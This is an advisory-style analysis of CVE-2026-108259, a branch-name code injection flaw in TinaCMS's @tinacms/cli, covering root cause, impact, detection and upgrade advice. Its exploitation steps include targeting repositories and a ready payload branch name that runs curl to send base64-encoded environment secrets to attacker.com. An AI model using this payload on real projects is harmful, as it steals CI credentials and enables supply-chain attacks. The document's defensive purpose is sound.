CVE-2026-108259: 
JavaScript vulnerability analysis and mitigation

CVE-2026-108259 is a code injection vulnerability in the @tinacms/cli package of TinaCMS, a headless content management system. The flaw allows an attacker with the ability to create a Git branch to inject arbitrary JavaScript into generated client source code, which executes during the consumer's build process. All versions of @tinacms/cli up to and including 2.7.0 are affected; the issue is fixed in version 3.0.0. It carries a CVSS v3.1 base score of 8.2 (High) (Github Advisory). The advisory was originally published on September 16, 2026, and added to the GitHub Advisory Database on October 9, 2026 (Github Advisory).

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection): @tinacms/cli reads the current Git branch name from environment variables VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates it verbatim into an API URL via _createApiUrl() in packages/@tinacms/cli/src/next/codegen/index.ts (lines 219–253), and then interpolates that URL directly into JavaScript string literals in the genClient() template (line 376: url: '${apiURL}') and a sibling template in codegen/codegen/plugin.ts (line 55: url: "${apiURL}") — with no call to JSON.stringify, encodeURIComponent, or any escaping function at any point in the pipeline (Github Advisory). A Git-valid branch name containing a single quote (e.g., x'+(globalThis.__TINA_PROBE='hit')+') terminates the string literal and injects an arbitrary JavaScript expression that is evaluated when the generated client.ts module is imported during a preview build (Github Advisory, TinaCMS PR #7526). The attack requires low privileges (ability to create or push a branch/PR) and no user interaction, but has high attack complexity due to the need to trigger a consumer build with the malicious branch (Github Advisory).

The injected JavaScript executes with the full privileges of the build process, which in typical CI/CD environments (e.g., Vercel preview deployments, GitHub Actions) means access to all build-time environment variables including NPM_TOKEN, VERCEL_TOKEN, cloud provider credentials, and API keys (Github Advisory). An attacker can also modify deployment artifacts, enabling supply-chain compromise of the deployed application output, and can make arbitrary outbound network requests to exfiltrate secrets (Github Advisory). The scope is changed (S:C), meaning the impact extends beyond the vulnerable component itself to the broader build and deployment environment.

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The advisory does include a detailed reproduction script demonstrating the injection mechanism, which lowers the barrier for potential exploitation. Exploitation requires an attacker to have repository write access or the ability to open a pull request from a fork against a project that uses TinaCMS with preview deployments and Tina SDK codegen enabled (the default configuration) (Github Advisory).

1. Identify a target: Find an open-source or accessible repository that uses @tinacms/cli (versions ≤ 2.7.0) with preview deployments enabled (e.g., Vercel auto-deploy on PR) and Tina SDK codegen active (the default).
2. Craft a malicious branch name: Create a Git-valid branch name containing a quote and an injected JavaScript payload, for example: x'+(require('child_process').execSync('curl https://attacker.com/?e='+Buffer.from(JSON.stringify(process.env)).toString('base64')))+'
3. Open a pull request: Push the branch to the target repository (or fork and open a PR), which triggers an automated preview build on the CI/CD platform.
4. Codegen executes: During the build, @tinacms/cli reads the branch name from VERCEL_GIT_COMMIT_REF or GITHUB_BRANCH, constructs the API URL with the raw branch value, and writes the generated client.ts with the injected expression embedded in the string literal.
5. Payload executes: When the build process imports the generated client.ts module, the injected JavaScript expression is evaluated with full build-process privileges, executing the attacker's code (e.g., exfiltrating process.env secrets to an external server).
6. Exfiltrate or persist: The attacker receives stolen credentials (e.g., NPM_TOKEN, VERCEL_TOKEN) or modifies build artifacts for supply-chain compromise (Github Advisory, TinaCMS PR #7526).

• Logs: CI/CD build logs showing unexpected outbound network requests (e.g., curl, fetch, http.get) to external IPs or domains during the Tina codegen or module import phase; build logs referencing unusual child process execution spawned from the Node.js build process.
• File System: Generated client.ts or client.js files in the .tina/__generated__/ directory containing JavaScript expressions outside of string literals — specifically, patterns like '<url>'+(...)+' or "<url>"+(...)+' adjacent to the url: property in createClient({...}).
• Network: Unexpected outbound HTTP/HTTPS requests from the build environment to unknown external hosts during the build phase, particularly carrying base64-encoded or URL-encoded data (potential secret exfiltration).
• Environment: Build environment variables (e.g., NPM_TOKEN, VERCEL_TOKEN, cloud provider keys) appearing in external logs or being used from unexpected IP addresses shortly after a preview build triggered by a PR from an unknown contributor (Github Advisory).

Upgrade @tinacms/cli to version 3.0.0 or later, which fixes the vulnerability by wrapping all interpolated values (apiURL, token, cacheDir, errorPolicy) with JSON.stringify() before inserting them into generated source templates (TinaCMS Release, TinaCMS PR #7526). After upgrading, review any previously generated client.ts files (typically in .tina/__generated__/) for suspicious content and regenerate them using the patched CLI. As an interim measure if upgrading is not immediately possible, restrict who can create branches or open pull requests that trigger preview builds, and audit branch names in CI/CD pipelines for quote characters before allowing builds to proceed.

The vulnerability was reported by researcher canhieu and published by wicksipedia (a TinaCMS maintainer) via a GitHub Security Advisory on September 16, 2026 (Github Advisory). The advisory notes a related but distinct advisory (GHSA-4936-9hrh-qqpw) covering a similar generated-source RCE pattern in TinaCMS's Forestry migration path, suggesting a broader pattern of unsafe code generation in the project. Social media mentions were observed on Mastodon shortly after the advisory was published to the GitHub Advisory Database on October 9, 2026.